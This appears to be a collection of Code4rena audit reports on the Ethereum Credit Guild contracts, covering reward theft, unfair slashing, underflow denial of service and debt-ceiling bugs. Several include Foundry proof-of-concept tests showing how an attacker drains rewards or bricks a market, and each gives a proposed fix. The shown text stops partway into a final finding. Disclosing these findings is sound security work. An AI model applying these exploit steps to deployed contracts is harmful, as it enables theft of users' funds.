Ethereum Credit Guild - santipu_'s results

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/ProfitManager.sol#L416-L418

Vulnerability details

Description

In Ethereum Credit Guild, ProfitManager is the contract that receives the profits from the different terms on a market and distributes them accordingly between the surplusBuffer, CREDIT holders and GUILD voters. The part that goes to GUILD voters is split based on the weight each voter has on the term that generated that profit.

When profit is distributed to the gauge voters (notifyPnL()), the variable gaugeProfitIndex is updated to represent the amount of tokens that belongs to a voter for each GUILD token that is used to vote on that gauge. Later, when voters want to claim the rewards they must call claimGaugeRewards() in order to receive their part of the profit.

The issue is that the function claimGaugeRewards() is flawed and it allows anyone to claim CREDIT tokens that belong to other users, effectively draining all ProfitManager contract. This is the flawed function:

function claimGaugeRewards(
    address user,
    address gauge
) public returns (uint256 creditEarned) {
    uint256 _userGaugeWeight = uint256(
        GuildToken(guild).getUserGaugeWeight(user, gauge)
    );
    if (_userGaugeWeight == 0) {
>>      return 0;
    }
    uint256 _gaugeProfitIndex = gaugeProfitIndex[gauge];
    uint256 _userGaugeProfitIndex = userGaugeProfitIndex[user][gauge];
    if (_gaugeProfitIndex == 0) {
        _gaugeProfitIndex = 1e18;
    }
    if (_userGaugeProfitIndex == 0) {
        _userGaugeProfitIndex = 1e18;
    }
    uint256 deltaIndex = _gaugeProfitIndex - _userGaugeProfitIndex;
    if (deltaIndex != 0) {
        creditEarned = (_userGaugeWeight * deltaIndex) / 1e18;
        userGaugeProfitIndex[user][gauge] = _gaugeProfitIndex;
    }
    if (creditEarned != 0) {
        emit ClaimRewards(block.timestamp, user, gauge, creditEarned);
        CreditToken(credit).transfer(user, creditEarned);
    }
}

When a user votes for a term for the first time, _userGaugeProfitIndex should be updated to match _gaugeProfitIndex in order to prevent that user claiming rewards that were distributed before the user was voting for that term. Instead, the current implementation doesn't update any index the first time the user votes because the function returns early (if (_userGaugeWeight == 0) return 0).

This early return on the function will make that later when that user calls claimGaugeRewards(), he'll be able to claim rewards as if he was voting for that gauge since the inception of the term. Therefore, new voters will steal rewards from early voters.

Impact

Any user that starts voting for a gauge that already has generated some profits will be able to steal those profits from other users. If the user votes with enough weight on that gauge, it will be able to drain the entire ProfitManager contract from CREDIT tokens.

Also, when GUILD becomes transferable in a future, any user will be able to just flashloan some GUILD tokens, vote for a gauge, claim the profits, decrement all voting for that gauge and return the flashloan.

Proof of Concept

The following POC can be pasted in ProfitManager.t.sol. The test can be run with the command: forge test --match-test testWrongIndexes.

function testWrongIndexes() public {
    address attacker = makeAddr("attacker");

    // grant roles to test contract
    vm.startPrank(governor);
    core.grantRole(CoreRoles.GOVERNOR, address(this));
    core.grantRole(CoreRoles.GUILD_MINTER, address(this));
    core.grantRole(CoreRoles.GAUGE_ADD, address(this));
    core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
    core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(this));
    vm.stopPrank();

    // SETUP:
    //      100% profit for GUILD voters
    //      500 GUILD voting in gauge 1:
    //          - 250 Alice
    //          - 250 Bob
    profitManager.setProfitSharingConfig(0, 0, 1e18, 0, address(0));
    guild.setMaxGauges(1);
    guild.addGauge(1, gauge1);
    guild.mint(alice, 250e18);
    guild.mint(bob, 250e18);
    vm.prank(alice);
    guild.incrementGauge(gauge1, 250e18);
    vm.prank(bob);
    guild.incrementGauge(gauge1, 250e18);

    // Some time goes by...
    vm.warp(block.timestamp + 1 days);
    vm.roll(block.number + 6646);

    // Send 20 CREDIT to profitManager, notify as profit for gauge1
    // 10 goes to Alice and 10 to Bob.
    credit.mint(address(profitManager), 20e18);
    profitManager.notifyPnL(gauge1, 20e18);

    // Before Alice or Bob can claim their rewards, an attacker arrives and steals everything
    guild.mint(attacker, 500e18);
    vm.startPrank(attacker);
    guild.incrementGauge(gauge1, 500e18);
    assertEq(profitManager.claimRewards(attacker), 20e18);
    guild.decrementGauge(gauge1, 500e18);
    vm.stopPrank();

    // Alice and Bob can no longer claim their rewards because there aren't enough tokens in the contract
    vm.expectRevert("ERC20: transfer amount exceeds balance");
    profitManager.claimRewards(alice);
    vm.expectRevert("ERC20: transfer amount exceeds balance");
    profitManager.claimRewards(bob);        
}

Tools Used

Manual Review

Recommended Mitigation Steps

In order to mitigate this issue it's recommended to set the initial _userGaugeProfitIndex as soon as the user increments weight on the term, this way the contract will distribute profits fairly and will prevent users from stealing CREDIT from other users. The following is the recommended fix:

-   if (_userGaugeWeight == 0) {
-       return 0;
-   }

Removing this early return on claimGaugeRewards() will make that the user profit indexes are updated as soon as the users vote for the first time in that gauge.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/SurplusGuildMinter.sol#L229-L231

Vulnerability details

Description

The SurplusGuildMinter (SGM) contract in the Ethereum Credit Guild facilitates users to mint GUILD tokens using CREDIT as collateral. These tokens enable voting on lending terms. However, a critical flaw has been identified where new users staking after a gauge loss are unfairly penalized due to an uninitialized variable. This issue arises during the execution of the getRewards() function, crucial for users to claim their earned rewards.

When getRewards() is invoked, it initially checks for any pending losses to determine if the user should be slashed. The intent is to ensure that users staking in a term with bad debt are appropriately penalized. Unfortunately, the mechanism is flawed, leading to unfair treatment of new stakers post-loss notification. The primary concern is the uninitialized userStake.lastGaugeLoss variable, which defaults to zero, causing new stakers to be unjustly slashed when they vote into the affected term. The erroneous logic is evident in the snippet below:

    function getRewards(
        address user,
        address term
    )
        public
        returns (
            uint256 lastGaugeLoss, // GuildToken.lastGaugeLoss(term)
            UserStake memory userStake, // stake state after execution of getRewards()
            bool slashed // true if the user has been slashed
        )
    {
        bool updateState;
        lastGaugeLoss = GuildToken(guild).lastGaugeLoss(term);
>>      if (lastGaugeLoss > uint256(userStake.lastGaugeLoss)) {
            slashed = true;
        }
        
        // if the user is not staking, do nothing
        userStake = _stakes[user][term];
        if (userStake.stakeTime == 0)
            return (lastGaugeLoss, userStake, slashed);

        // ...
    }

Impact

Due to this flaw, any new stakers participating in a term via SGM after a gauge loss will be inadvertently slashed, resulting in the loss of all their CREDIT collateral. This not only undermines the integrity of the SGM contract but also poses significant financial risks to uninformed users.

Proof of Concept

The following POC can be pasted in SurplusGuildMinter.t.sol. The test can be run with the command: forge test --match-test testUnfairSlashing.

function testUnfairSlashing() public {
    // user stakes into SurplusGuildMinter
    credit.mint(address(this), 150e18);
    credit.approve(address(sgm), 150e18);
    sgm.stake(term, 150e18);

    // next block...
    vm.warp(block.timestamp + 13);
    vm.roll(block.number + 1);

    // loss in gauge
    profitManager.notifyPnL(term, -27.5e18);

    // user unstakes from SurplusGuildMinter
    sgm.unstake(term, 123);

    // slash SurplusGuildMinter
    guild.applyGaugeLoss(term, address(sgm));

    // next day...
    vm.warp(block.timestamp + 1 days);
    vm.roll(block.number + 6646);

    // other user stakes into same gauge
    address victim = makeAddr("victim");
    credit.mint(victim, 50e18);
    vm.startPrank(victim);
    credit.approve(address(sgm), 50e18);
    sgm.stake(term, 50e18);
    vm.stopPrank();

    assertEq(credit.balanceOf(victim), 0); // victim has staked
    assertEq(profitManager.termSurplusBuffer(term), 50e18); // funds sent to termSurplusBuffer
    assertEq(guild.balanceOf(address(sgm)), 100e18); // SGM has 100 GUILD from victim (50 * mintRatio)
    assertEq(guild.getGaugeWeight(term), 150e18); // total gauge weight is 150 (50 from setup() and 100 from victim)
    assertEq(sgm.getUserStake(victim, term).credit, 50e18); // victim has 50 CREDIT staked into SGM

    // victim claims rewards
    (,,bool slashed) = sgm.getRewards(victim, term);

    // unfairly slashed and loss of funds
    assertEq(slashed, true);
    assertEq(sgm.getUserStake(victim, term).credit, 0);
    assertEq(sgm.getUserStake(victim, term).guild, 0);
    assertEq(sgm.getUserStake(victim, term).stakeTime, 0);
}

Tools Used

Manual Review

Recommended Mitigation Steps

A straightforward fix is proposed to rectify this issue: initialize the userStake variable before its comparison check. This adjustment ensures that the lastGaugeLoss comparison is made against an accurate and up-to-date staking record, preventing unjust penalties to new stakers.

        bool updateState;
        lastGaugeLoss = GuildToken(guild).lastGaugeLoss(term);
+       userStake = _stakes[user][term];
        if (lastGaugeLoss > uint256(userStake.lastGaugeLoss)) {
            slashed = true;
        }

        // if the user is not staking, do nothing
-       userStake = _stakes[user][term];
        if (userStake.stakeTime == 0)
            return (lastGaugeLoss, userStake, slashed);

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/ProfitManager.sol#L172-L176

Vulnerability details

Description

In Ethereum Credit Guild, there's only two ways of getting CREDIT tokens:

• Minting via SimplePSM contract
• Borrowing via LendingTerm contract

Therefore, to calculate all CREDIT borrowed on a market we use the function ProfitManager.totalBorrowedCredit() that gets all the CREDIT in circulation and subtracts the CREDIT minted through the PSM contract. The function is the following:

function totalBorrowedCredit() external view returns (uint256) {
    return
        CreditToken(credit).targetTotalSupply() -
        SimplePSM(psm).redeemableCredit();
}

But this function doesn't account for a critical operation that can be performed by anyone: burning CREDIT tokens that have been minted via PSM.

An attacker can mint CREDIT tokens via PSM and burn them causing a decreasing on CreditToken(credit).targetTotalSupply() but keeping the same value on SimplePSM(psm).redeemableCredit(). If done with enough tokens it can bring the first value lower than the second causing an underflow and a DoS on that function.

Given that totalBorrowedCredit() is used in critical operations such as borrowing or decrementing weight from a gauge, when that function is reverting it will brick the entire market blocking any new borrows and preventing GUILD voters from decrementing the weight from gauges on that market.

The function totalBorrowedCredit() is called from LendingTerm.borrow() and LendingTerm.debtCeiling():

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/LendingTerm.sol#L379C1-L380C36

function _borrow(
    address borrower,
    uint256 borrowAmount,
    uint256 collateralAmount
) internal returns (bytes32 loanId) {
    // ...

    // check the debt ceiling
    uint256 totalBorrowedCredit = ProfitManager(refs.profitManager)
        .totalBorrowedCredit();
    
    // ...
}

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/LendingTerm.sol#L294C1-L295C36

function debtCeiling(
    int256 gaugeWeightDelta
) public view returns (uint256) {
    // ...
    
    uint256 totalBorrowedCredit = ProfitManager(refs.profitManager)
        .totalBorrowedCredit();
    
    // ...
}

And debtCeiling() is called from GuildToken._decrementGaugeWeight():

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/tokens/GuildToken.sol#L226

function _decrementGaugeWeight(
    address user,
    address gauge,
    uint256 weight
) internal override {
    // ...
    
    if (issuance != 0) {
>>      uint256 debtCeilingAfterDecrement = LendingTerm(gauge).debtCeiling(-int256(weight));
        require(
            issuance <= debtCeilingAfterDecrement,
            "GuildToken: debt ceiling used"
        );
    }

    super._decrementGaugeWeight(user, gauge, weight);
}

Therefore, when totalBorrowedCredit() is reverting, it will block also LendingTerm.borrow() and GuildToken.decrementGauge().

For this attack to be possible, an attacker must mint and burn an amount bigger than all borrows on that market. The attack is unfeasible when a market is mature and has lots of loans but a market will be vulnerable when is new or when it has a low amount of borrows.

Impact

An attacker will be able to permanently block all new borrows on a market and will lock all GUILD tokens voting for gauges on that market.

Borrowers won't be able to call LendingTerm.borrow() on terms of that market because it will revert when calling totalBorrowedCredit(). In the same way, GUILD voters on that market won't be able to decrement weight on gauges because Guildtoken.decrementGauge() will revert when calling totalBorrowedCredit().

Proof of Concept

The following POC can be pasted in LendingTerm.t.sol. The test can be run with the command: forge test --match-test testBrickMarket.

First, add this line at the top of the file:

import {stdError} from "../../forge-std/src/Components.sol";

function testBrickMarket() public {
    // SETUP
    vm.prank(address(governor));
    core.grantRole(CoreRoles.CREDIT_MINTER, address(psm));

    address attacker = makeAddr("attacker");
    address otherUser = makeAddr("otherUser");
    uint256 singleBorrowAmount = 100e18;
    uint256 singleLiquidityAmount = 100e18;
    uint256 totalBorrows = 0;

    // Some lenders enter the market
    for (uint i = 0; i < 10; i++) {
        address user = makeAddr(string(abi.encode(i)));
        collateral.mint(user, singleLiquidityAmount);
        vm.startPrank(user);
        collateral.approve(address(psm), singleLiquidityAmount);
        psm.mint(user, singleLiquidityAmount);
        vm.stopPrank();
    }

    // Some borrowers enter the market
    for (uint i = 0; i < 8; i++) {
        address user = makeAddr(string(abi.encode(i)));
        collateral.mint(user, singleBorrowAmount);
        vm.startPrank(user);
        collateral.approve(address(term), singleBorrowAmount);
        term.borrow(singleBorrowAmount, singleBorrowAmount);
        credit.approve(address(psm), singleBorrowAmount);
        psm.redeem(user, singleBorrowAmount);
        vm.stopPrank();
        totalBorrows += singleBorrowAmount;
    }

    // Now, attacker mints and burns totalBorrows + 1
    collateral.mint(attacker, totalBorrows + 1);
    vm.startPrank(attacker);
    collateral.approve(address(psm), totalBorrows + 1);
    psm.mint(attacker, totalBorrows + 1);
    credit.burn(totalBorrows + 1);
    vm.stopPrank();

    // Now, we have a DoS on totalBorrowedCredit() due to underflow
    vm.expectRevert(stdError.arithmeticError);
    profitManager.totalBorrowedCredit();

    // Not possible to borrow anymore
    collateral.mint(otherUser, 100e18);
    vm.startPrank(otherUser);
    collateral.approve(address(term), 100e18);
    vm.expectRevert(stdError.arithmeticError);
    term.borrow(100e18, 100e18);
    vm.stopPrank();

    // Even if other users adds more liquidity, still not possible to borrow
    collateral.mint(otherUser, 1000e18);
    vm.startPrank(otherUser);
    collateral.approve(address(psm), 1000e18);
    psm.mint(otherUser, 1000e18);
    vm.stopPrank();

    vm.prank(otherUser);
    vm.expectRevert(stdError.arithmeticError);
    term.borrow(100e18, 100e18);

    // Also, gauge voters not allowed to decrement weight because of DoS, not even a tiny bit
    vm.expectRevert(stdError.arithmeticError);
    guild.decrementGauge(address(term), 1_000e18);
    vm.expectRevert(stdError.arithmeticError);
    guild.decrementGauge(address(term), 1);
}

As showed in the POC, an attacker only has to mint via PSM and burn a number of CREDIT tokens greater than the total amount of borrows on the market to permanently block new borrows and lock GUILD votes into terms of that market.

If the market is new and has some GUILD votes already, the attacker could borrow a minimum amount himself and then execute the same attack to accomplish the same result.

Tools Used

Manual Review and fuzzing

Recommended Mitigation Steps

After thinking for a while and talking to the sponsor, I arrived to the conclusion that there's not an easy fix for this issue.

The ideal solution would be to reduce SimplePSM.redeemableCredit() when the burned CREDIT is coming from PSM and not do anything if the burned CREDIT comes from borrowing. The problem is that there's no way to way to distinguish if a CREDIT token is coming from PSM or from borrowing.

Another solution could be to just not expose the burn() function on CREDIT but this also wouldn't fix the issue because calling distribute() when there's no CREDIT rebasing will also burn the tokens causing the same problem.

Therefore, my advice is to do one of these things:

1. Make a huge borrow on new markets as soon it has GUILD votes to discourage the attack and make it more costly.
2. Change the design of totalBorrowedCredit() function to not allow these types of attacks.

Assessed type

Under/Overflow

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/ProfitManager.sol#L172-L176

Vulnerability details

Description

In Ethereum Credit Guild, when a market only has one term and the last loan is liquidated accruing some bad debt, that will brick the market blocking any new borrows. The origin of this issue is on the function ProfitManager.totalBorrowedCredit():

function totalBorrowedCredit() external view returns (uint256) {
    return
        CreditToken(credit).targetTotalSupply() -
        SimplePSM(psm).redeemableCredit();
}

There's only two ways of getting CREDIT tokens:

• Minting via SimplePSM contract
• Borrowing via LendingTerm contract

Therefore, to calculate all CREDIT borrowed on a market we use the function totalBorrowedCredit() that gets all the CREDIT in circulation and subtracts the CREDIT minted through the PSM contract.

This function is called everytime a new LendingTerm.borrow() is called on a term, therefore when totalBorrowedCredit() reverts it will block any new borrows on that market:

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/LendingTerm.sol#L379C1-L380C36

function _borrow(
    address borrower,
    uint256 borrowAmount,
    uint256 collateralAmount
) internal returns (bytes32 loanId) {
    // ...

    // check the debt ceiling
    uint256 totalBorrowedCredit = ProfitManager(refs.profitManager)
        .totalBorrowedCredit();
    
    // ...
}

When there's only one term on a market and its last loan is liquidated accruing some bad debt, totalBorrowedCredit() should equal zero but in some cases the second term of the function (redeemableCredit) will be a tiny bit higher than the first one (targetTotalSupply). This will cause an underflow and the entire transaction will revert preventing any new borrowers from participating on any terms on that market.

Impact

When the last loan on a market is liquidated leaving some bad debt, all new borrows will be permanently blocked on that market.

Proof of Concept

The following POC can be pasted in LendingTerm.t.sol. The test can be run with the command: forge test --match-test testLastLoanMarket -vv.

First, add this line at the top of the file:

import {stdError, console} from "../../forge-std/src/Components.sol";

function testLastLoanMarket() public {
    // SETUP
    vm.prank(address(governor));
    core.grantRole(CoreRoles.CREDIT_MINTER, address(psm));
    address lender = makeAddr("lender");
    address borrower = makeAddr("borrower");
    address bidder = makeAddr("bidder");

    uint256 debtBorrower = 1000e18;
    uint256 liquidity = 3000e18;

    // Lender mint new gUSDC with 3000 USDC
    collateral.mint(lender, liquidity);
    vm.startPrank(lender);
    collateral.approve(address(psm), liquidity);
    psm.mint(lender, liquidity);
    vm.stopPrank();

    // Borrow 1000 gUSDC and redeem it in PSM
    collateral.mint(borrower, debtBorrower);
    vm.startPrank(borrower);
    collateral.approve(address(term), debtBorrower);
    bytes32 loanId = term.borrow(debtBorrower, debtBorrower);
    credit.approve(address(psm), debtBorrower);
    psm.redeem(borrower, debtBorrower);
    vm.stopPrank();

    assertEq(collateral.balanceOf(borrower), debtBorrower);
    assertEq(credit.balanceOf(borrower), 0);
    assertEq(profitManager.totalBorrowedCredit(), debtBorrower);
    assertEq(psm.pegTokenBalance(), liquidity - debtBorrower);
    assertEq(credit.totalSupply(), liquidity);

    // Make loan callable and call it
    vm.warp(block.timestamp + 800 days);
    term.call(loanId);

    // Auction generates some bad debt
    vm.warp(block.timestamp + 857);
    (uint256 collateralReceived, uint256 creditAsked) = auctionHouse.getBidDetail(loanId);

    // Bidder mints gUSDC in PSM to bid for auction
    collateral.mint(bidder, creditAsked);
    vm.startPrank(bidder);
    collateral.approve(address(psm), creditAsked); 
    psm.mint(bidder, creditAsked);

    credit.approve(address(term), creditAsked);
    auctionHouse.bid(loanId);
    vm.stopPrank();

    // Bidder has repayed all principal + interest and received full collateral
    assertEq(collateral.balanceOf(bidder), collateralReceived);
    assertEq(credit.balanceOf(bidder), 0);

    // Now, we have a DoS on totalBorrowedCredit() because of underflow
    vm.expectRevert(stdError.arithmeticError);
    profitManager.totalBorrowedCredit();

    console.log("DoS on totalBorrowedCredit() because", psm.redeemableCredit(), ">", credit.targetTotalSupply());

    // Not possible to borrow anymore
    collateral.mint(borrower, debtBorrower);
    vm.startPrank(borrower);
    collateral.approve(address(term), debtBorrower);
    vm.expectRevert(stdError.arithmeticError);
    term.borrow(debtBorrower, debtBorrower);
    vm.stopPrank();

    // Even if lender adds more liquidity, still not possible to borrow
    collateral.mint(lender, 1000e18);
    vm.startPrank(lender);
    collateral.approve(address(psm), 1000e18);
    psm.mint(lender, 1000e18);
    vm.stopPrank();

    vm.prank(borrower);
    vm.expectRevert(stdError.arithmeticError);
    term.borrow(debtBorrower, debtBorrower);
}

In this case, when the loan is liquidated with some bad debt, these are the values used to calculate totalBorrowedCredit():

• credit.targetTotalSupply(): 3_000e18
• psm.redeemableCredit(): 3_000e18 + 312 (pegTokenBalance / creditMultiplier)
  • psm.pegTokenBalance(): 2999603011635865845312
  • profitManager.creditMultiplier(): 999867670545288615

The result of liquidating a loan with bad debt will leave the values of pegTokenBalance and creditMultiplier being rounded down in calculations so the result of redeemableCredit won't be as exact as targetTotalSupply, causing the underflow and bricking the market.

Tools Used

Fuzz Testing

Recommended Mitigation Steps

To solve this issue, is recommended to modify the function totalBorrowedCredit so that it returns zero instead of reverting when the second term is bigger than the first one. Here is an example of what could be the fix:

    function totalBorrowedCredit() external view returns (uint256) {
+       if(SimplePSM(psm).redeemableCredit() >= CreditToken(credit).targetTotalSupply()) {
+           return 0;
+       }
        return
            CreditToken(credit).targetTotalSupply() -
            SimplePSM(psm).redeemableCredit();
    }

Moreover, it's recommended to set ProfitManager.creditMultiplier() to a bigger precision (e.g. 1e36) to avoid future rounding issues.

Assessed type

Under/Overflow

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/tokens/GuildToken.sol#L41

Vulnerability details

Description

Ethereum Credit Guild will first implement the gUSDC market but it aims to support a wide variety of markets, e.g. gETH, gBTC, gDAI... For every market there's going to be only one ProfitManager, that is going to be in charge of distributing the profits from the different terms on that market.

On the other hand, there's going to be only one instance of the GUILD token across all the protocol, and this token should have access to all the different ProfitManager from all markets to call them.

For example, GuildToken will have to call ProfitManager.claimGaugeRewards() every time a user wants to increment or decrement weight from a gauge:

function _incrementGaugeWeight(
    address user,
    address gauge,
    uint256 weight
) internal override {
    // ...

>>  ProfitManager(profitManager).claimGaugeRewards(user, gauge);

    super._incrementGaugeWeight(user, gauge, weight);
}

The issue is that currently, GuildToken only has one address to reference ProfitManager, therefore it only supports one market:

/// @notice reference to ProfitManager
address public profitManager;

Impact

The current implementation of GuildToken only has support for one market and it won't be possible to add more markets to the protocol, greatly limiting its ability to grow and adapt to all users.

Tools Used

Manual Review

Recommended Mitigation Steps

It's recommended to add a mapping of the different terms with its profit managers and change the parts of the code to use that mapping instead of the current variable. A possible implementation of this could be the following:

    /// @notice reference to ProfitManager
-   address public profitManager;
+   mapping(address => address) public profitManagers;

    function notifyGaugeLoss(address gauge) external {
-       require(msg.sender == profitManager, "UNAUTHORIZED");
+       require(msg.sender == profitManagers[gauge], "UNAUTHORIZED");

        // ...
    }
    
-   function setProfitManager(address _newProfitManager) external onlyCoreRole(CoreRoles.GOVERNOR) {
+   function setProfitManager(address gauge, address _newProfitManager) external onlyCoreRole(CoreRoles.GOVERNOR) {
-       profitManager = _newProfitManager;
+       profitManagers[gauge] = _newProfitManager;
        emit ProfitManagerUpdated(block.timestamp, _newProfitManager);
    }
    
    function _decrementGaugeWeight(
        address user,
        address gauge,
        uint256 weight
    ) internal override {
        // ...

        // update the user profit index and claim rewards
-       ProfitManager(profitManager).claimGaugeRewards(user, gauge);
+       ProfitManager(profitManagers[gauge]).claimGaugeRewards(user, gauge);

        // ...
    }

    function _incrementGaugeWeight(
        address user,
        address gauge,
        uint256 weight
    ) internal override {
        // ...

-       ProfitManager(profitManager).claimGaugeRewards(user, gauge);
+       ProfitManager(profitManagers[gauge]).claimGaugeRewards(user, gauge);

        super._incrementGaugeWeight(user, gauge, weight);
    }

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/LendingTerm.sol#L323-L330

Vulnerability details

Description

In Ethereum Credit Guild, when a GUILD voter wants to decrement weight on a gauge, first there's a check that ensures that the debt ceiling of that term doesn't go below the current issuance. This check is performed in GuildToken._decrementGaugeWeight():

    // check if gauge is currently using its allocated debt ceiling.
    // To decrement gauge weight, guild holders might have to call loans if the debt ceiling is used.
    uint256 issuance = LendingTerm(gauge).issuance();
    if (issuance != 0) {
>>      uint256 debtCeilingAfterDecrement = LendingTerm(gauge).debtCeiling(-int256(weight));
        require(
            issuance <= debtCeilingAfterDecrement,
            "GuildToken: debt ceiling used"
        );
    }

The debtCeiling() function is flawed and this issue will cause that the returned debt ceiling might be higher than it should be, therefore allowing some voters to decrement weight on a gauge when it shouldn't be possible.

The issue on debtCeiling() is the following:

    // return min(creditMinterBuffer, hardCap, debtCeiling)
    if (creditMinterBuffer < _debtCeiling) {
        return creditMinterBuffer;
    }
    if (_hardCap < _debtCeiling) {
        return _hardCap;
    }
    return _debtCeiling;

As the comment on the code indicates, the function should return the minimum value between creditMinterBuffer, hardCap and debtCeiling. Contrary to the specification, in some cases the function will return the wrong value that is not the smallest between those three.

In cases where _hardCap < creditMinterBuffer < _debtCeiling, the function will return the value of creditMinterBuffer when it should return the value of _hardCap, because is the smallest one between all.

Impact

In the cases described above, the debtCeiling() function will return a higher value than it should be and therefore the GUILD voters will be able to decrement some weight on a gauge when they shouldn't be allowed. This breaks an important invariant on the protocol and will allow voters to byapass the debt ceiling limitations.

On the situation where too many gauge voters decrement weight from a gauge, it may arrive the scenario where the protocol has a term with many borrows and little voting weight, which could lead to an imbalance that ends up hurting the protocol and its governance.

Tools Used

Manual Review

Recommended Mitigation Steps

To mitigate this issue, is recommended to implement a mechanism that will really return the smalles value between the three variables. Here is one potential implementation of this:

    // return min(creditMinterBuffer, hardCap, debtCeiling)
-   if (creditMinterBuffer < _debtCeiling) {
-       return creditMinterBuffer;
-   }
-   if (_hardCap < _debtCeiling) {
-       return _hardCap;
-   }
-   return _debtCeiling;
+   if (creditMinterBuffer < _debtCeiling) {
+       if (creditMinterBuffer < _hardCap) {
+           return creditMinterBuffer;
+       } else {
+           return _hardCap;
+       }
+   } else {
+       if (_debtCeiling < _hardCap) {
+           return _debtCeiling;
+       } else {
+           return _hardCap;
+       }
+   }

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/LendingTerm.sol#L287

Vulnerability details

Description

In Ethereum Credit Guild, when GUILD voters want to decrement weight on a gauge they're voting for, they must call GuildToken.decrementGauge(). This function calls an internal function _decrementGaugeWeight() which will check first for the debt ceiling of that term in order to allow or not the weight votes to de decremented (LendingTerm.debtCeiling()).

The debt ceiling of the lending terms are relative to each other. This means that when there's only one term, there's no debt ceiling. As more terms are added to a market and voters allocate liquidity to them, new debt ceilings are going to be calculated relative to each other.

In markets where there's only one lending term, there's no limit to borrows up until the hardCap on that term, this behavior is enforced in LendingTerm.borrow():

        // check the debt ceiling
        uint256 totalBorrowedCredit = ProfitManager(refs.profitManager)
            .totalBorrowedCredit();
        uint256 gaugeWeightTolerance = ProfitManager(refs.profitManager)
            .gaugeWeightTolerance();
        uint256 _debtCeiling = (GuildToken(refs.guildToken)
            .calculateGaugeAllocation(
                address(this),
                totalBorrowedCredit + borrowAmount
            ) * gaugeWeightTolerance) / 1e18;
        if (totalBorrowedCredit == 0) {
            // if the lending term is deprecated, `calculateGaugeAllocation` will return 0, and the borrow
            // should revert because the debt ceiling is reached (no borrows should be allowed anymore).
            // first borrow in the system does not check proportions of issuance, just that the term is not deprecated.
            require(_debtCeiling != 0, "LendingTerm: debt ceiling reached");
        } else {
            require(
>>              _postBorrowIssuance <= _debtCeiling,
                "LendingTerm: debt ceiling reached"
            );
        }

When there's only one lending term on the market, _postBorrowIssuance <= _debtCeiling will always be true so there's going to be unlimited debt ceiling up to the hardCap.

Because of this, GUILD voters for that term should also be allowed to decrement all weight they want on that term without completely emptying it, this will be ensured at LendingTerm.debtCeiling():

    function debtCeiling(
        int256 gaugeWeightDelta
    ) public view returns (uint256) {
        // ...
        
        gaugeWeight = uint256(int256(gaugeWeight) + gaugeWeightDelta);
        
        // ...
        
        if (gaugeWeight == 0) {
            return 0; // no gauge vote, 0 debt ceiling
>>      } else if (gaugeWeight == totalWeight) {
            // one gauge, unlimited debt ceiling
            // returns min(hardCap, creditMinterBuffer)
            return
                _hardCap < creditMinterBuffer ? _hardCap : creditMinterBuffer;
        }
        
        // ...
    }

The issue is that the debtCeiling() function is flawed and doesn't actually calculate correctly the ceiling when the term is the only one on the market. In those cases, gaugeWeight == totalWeight should always be true but it won't be because gaugeWeightDelta will be subtracted from gaugeWeight.

For example, when a voter wants to decrement 5e18 GUILD votes from that term and the total weight is 100e18, gaugeWeight will start at 100e18 but will be subtracted 5e18 resulting in 95e18. Then, the check gaugeWeight == totalWeight will be false because 95e18 != 100e18. Therefore, the function will continue and the returned result will calculate a debt ceiling that is incorrect because when a term is the only one in the market, the ceiling should be unlimited.

Impact

When a lending term is the only one in a market, borrowers will be able to open loans without limit (up to hardCap or buffer) but GUILD voters won't be able to decrement votes on that term when they should be able to do it. Therefore, some GUILD tokens will end up locked on that term up until the borrows decrease.

Proof of Concept

The following POC can be pasted in LendingTerm.t.sol. The test can be run with the command: forge test --match-test testVotersCannotWithdrawInOnlyGaugeOnMarket.

function testVotersCannotWithdrawInOnlyGaugeOnMarket() public {
    // SETUP - reset votes on term
    guild.decrementGauge(address(term), _HARDCAP);
    assertEq(guild.getGaugeWeight(address(term)), 0);

    address voter1 = makeAddr("voter1");
    address voter2 = makeAddr("voter2");
    address borrower = makeAddr("borrower");

    // voter1 votes for term
    guild.mint(voter1, 1_000e18);
    vm.prank(voter1);
    guild.incrementGauge(address(term), 1_000e18);

    // voter2 votes for term
    guild.mint(voter2, 1_000e18);
    vm.prank(voter2);
    guild.incrementGauge(address(term), 1_000e18);

    assertEq(guild.getGaugeWeight(address(term)), 2_000e18);

    // user borrows from term - no debt ceiling because there's only one term
    collateral.mint(borrower, 100_000e18);
    vm.startPrank(borrower);
    collateral.approve(address(term), 100_000e18);
    term.borrow(100_000e18, 100_000e18);
    vm.stopPrank();

    // Some time goes by...
    vm.warp(block.timestamp + 15 days);

    // Voters should be allowed to decrement weight on that term - not allowed
    vm.prank(voter1);
    vm.expectRevert("GuildToken: debt ceiling used");
    guild.decrementGauge(address(term), 1_000e18);

    vm.prank(voter2);
    vm.expectRevert("GuildToken: debt ceiling used");
    guild.decrementGauge(address(term), 500e18);
}

Tools Used

Manual Review

Recommended Mitigation Steps

To mitigate this issue, it's recommended to modify the debtCeiling() function so that it correctly checks if the current term is the only gauge on the market. Below is a potential implementation of the fix:

-   } else if (gaugeWeight == totalWeight) {
+   } else if (gaugeWeight + uint256(-gaugeWeightDelta) == totalWeight)
        // one gauge, unlimited debt ceiling
        // returns min(hardCap, creditMinterBuffer)
        return
            _hardCap < creditMinterBuffer ? _hardCap : creditMinterBuffer;
    }

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/LendingTermOffboarding.sol#L94-L97

Vulnerability details

Description

In Ethereum Credit Guild, when a LendingTerm is considered too risky, it's GUILD voters are incentivized to offboard that term via the LendingTermOffboarding contract. This mechanism is designed to be a fast and secure way to remove a LendingTerm from a market before it accrues bad debt.

